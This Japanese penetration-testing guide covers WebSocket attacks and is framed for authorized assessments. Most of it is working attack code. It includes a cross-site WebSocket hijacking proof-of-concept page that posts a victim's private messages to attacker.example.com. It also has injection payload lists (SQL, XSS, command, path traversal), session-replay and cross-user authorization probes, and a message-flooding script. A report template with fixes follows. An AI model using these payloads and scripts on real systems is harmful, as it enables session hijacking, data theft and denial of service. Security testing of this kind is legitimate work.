exploiting-websocket-vulnerabilities

WebSocket の脆弱性を悪用する

使用する場面

• アプリケーションがリアルタイム機能に WebSocket 接続を使用している場合の、許可を得たペネトレーションテスト
• チャットアプリケーション、ライブ通知、取引プラットフォーム、共同編集ツールの評価
• WebSocket API エンドポイントの認証および認可の不備のテスト
• リアルタイムデータストリームのインジェクション脆弱性の評価
• Socket.IO、SignalR、またはネイティブの WebSocket API を使用するアプリケーションのセキュリティ評価

前提条件

• 許可：WebSocket テストを対象とする、書面によるペネトレーションテスト契約
• Burp Suite Professional：WebSocket のインターセプト機能付き
• ブラウザー DevTools：WebSocket フレームを調査するための Network タブ
• websocat：コマンドライン WebSocket クライアント（cargo install websocat）
• wscat：Node.js WebSocket クライアント（npm install -g wscat）
• Python websockets：カスタム WebSocket 攻撃をスクリプト化するためのもの（pip install websockets）

ワークフロー

ステップ 1：WebSocket エンドポイントを発見して列挙する

アプリケーション内の WebSocket 接続を特定します。

# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames

ステップ 2：WebSocket 認証をテストする

WebSocket 接続に適切な認証が必要かどうかを確認します。

# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF

ステップ 3：クロスサイト WebSocket ハイジャック（CSWSH）をテストする

WebSocket ハンドシェイクがクロスサイト攻撃に対して脆弱かどうかを確認します。

# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working

<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket
  ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
  ws.send(JSON.stringify({type: "get_profile"}));
};

ws.onmessage = function(event) {
  console.log("Data stolen: " + event.data);
  document.getElementById("messages").innerText += event.data + "\n";

  // Exfiltrate to attacker server
  fetch("https://attacker.example.com/collect", {
    method: "POST",
    body: event.data
  });
};

ws.onerror = function(error) {
  console.log("WebSocket error: " + error);
};
</script>
</body>
</html>

ステップ 4：WebSocket メッセージインジェクションをテストする

WebSocket メッセージにインジェクション脆弱性がないか評価します。

# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_token"

# Once connected, send test messages:

# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}

# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x onerror=alert(1)>"}

# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}

# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}

# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2}  (another user's channel)

# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json

PAYLOADS = [
    {"action": "search", "query": "' OR 1=1--"},
    {"action": "search", "query": "<script>alert(1)</script>"},
    {"action": "search", "query": "{{7*7}}"},
    {"action": "search", "query": "${7*7}"},
    {"action": "read", "file": "../../../etc/passwd"},
    {"action": "exec", "cmd": "; whoami"},
]

async def test_injections():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        for payload in PAYLOADS:
            await ws.send(json.dumps(payload))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Payload: {json.dumps(payload)}")
                print(f"Response: {response}\n")
            except asyncio.TimeoutError:
                print(f"Timeout for: {json.dumps(payload)}\n")

asyncio.run(test_injections())
PYEOF

ステップ 5：WebSocket の認可とレート制限をテストする

メッセージ単位の認可と不正利用対策が適用されているか確認します。

# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json

async def test_authz():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=user_a_session"}
    ) as ws:
        # Try accessing User B's private data
        messages = [
            {"type": "subscribe", "channel": "user_b_private"},
            {"type": "get_history", "user_id": "user_b_id"},
            {"type": "admin_action", "action": "list_users"},
            {"type": "send_message", "to": "admin", "as": "admin"},
        ]
        for msg in messages:
            await ws.send(json.dumps(msg))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Sent: {json.dumps(msg)}")
                print(f"Received: {response}\n")
            except asyncio.TimeoutError:
                print(f"No response for: {json.dumps(msg)}\n")

asyncio.run(test_authz())
PYEOF

# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time

async def test_rate_limit():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        start = time.time()
        for i in range(1000):
            await ws.send(json.dumps({
                "type": "message",
                "content": f"Flood message {i}"
            }))
        elapsed = time.time() - start
        print(f"Sent 1000 messages in {elapsed:.2f} seconds")
        print("If no rate limiting, DoS is possible")

asyncio.run(test_rate_limit())
PYEOF

ステップ 6：WebSocket の暗号化とプロトコルのセキュリティをテストする

通信のセキュリティとプロトコルレベルの保護を確認します。

# Check if WebSocket uses WSS (encrypted) or WS (plaintext)
# WS (ws://) traffic can be intercepted by network attackers

# Check for mixed protocols
# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
# Should only find wss:// (encrypted WebSocket)

# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
  -H "Sec-WebSocket-Protocol: admin-protocol"

# Test for compression side-channel (CRIME-like attacks)
# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Extensions: permessage-deflate" \
  "https://target.example.com/ws" | grep -i "sec-websocket-extensions"
# permessage-deflate with secrets in messages can leak data via compression

# Test WebSocket connection persistence
# Check if server implements proper timeouts and connection limits

主な概念

概念	説明
WebSocket ハンドシェイク	接続を HTTP から WebSocket プロトコルに切り替える HTTP アップグレードリクエスト
CSWSH	クロスサイト WebSocket ハイジャック。Origin の検証不足を悪用してセッションを乗っ取ります
Origin の検証	WebSocket アップグレードリクエストが信頼できるオリジンから送信されたことを確認する、サーバー側のチェック
メッセージ単位の認可	接続時だけでなく、各 WebSocket メッセージに対する権限を確認すること
WSS	WebSocket Secure。TLS を使用した暗号化 WebSocket 接続（HTTPS と同等）
Socket.IO	HTTP ロングポーリングへの自動フォールバック機能を備えた、広く使われている WebSocket ライブラリ
Ping/Pong フレーム	WebSocket のキープアライブ機構。タイミング攻撃に悪用される可能性があります

ツールとシステム

ツール	用途
Burp Suite Professional	WebSocket のインターセプト、変更、履歴分析
wscat	手動テスト用のコマンドライン WebSocket クライアント
websocat	Rust で書かれた多用途なコマンドライン WebSocket クライアント
ブラウザー DevTools	WebSocket フレームを調査するための Network タブの WS フィルター
Socket.IO Client	Socket.IO ベースの WebSocket 実装のテスト
Python websockets	WebSocket 攻撃シーケンスの自動化をスクリプト化

一般的なシナリオ

シナリオ 1：チャットアプリケーションの CSWSH

リアルタイムチャットアプリケーションは、WebSocket ハンドシェイク時にユーザーの Cookie を検証しますが、Origin ヘッダーを確認していません。攻撃者が WebSocket をチャットサーバーに接続するページをホストし、被害者のプライベートメッセージを盗みます。

シナリオ 2：取引プラットフォームのメッセージインジェクション

取引プラットフォームが、注文パラメーターを含む WebSocket メッセージを処理します。注文メッセージの symbol フィールドに対する SQL インジェクションにより、エラーベースの SQLi を通じて注文データベース全体を抽出できます。

シナリオ 3：メッセージ認可の欠如

共同作業ツールは、WebSocket 接続時にユーザー認証を確認しますが、個々のメッセージに対する認可は検証しません。接続後、一般ユーザーが管理者レベルのコマンドを送信して、ワークスペースを削除したり、ユーザーデータをエクスポートしたりできます。

シナリオ 4：通知チャネルの IDOR

通知システムは、チャネル ID を含む WebSocket メッセージを介してユーザーをチャネルに登録します。チャネル ID を変更すると、任意のユーザーが他のユーザーのプライベート通知チャネルに登録できてしまいます。

出力形式

## WebSocket Security Assessment Report

**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control

### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |

### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |

### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)

### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake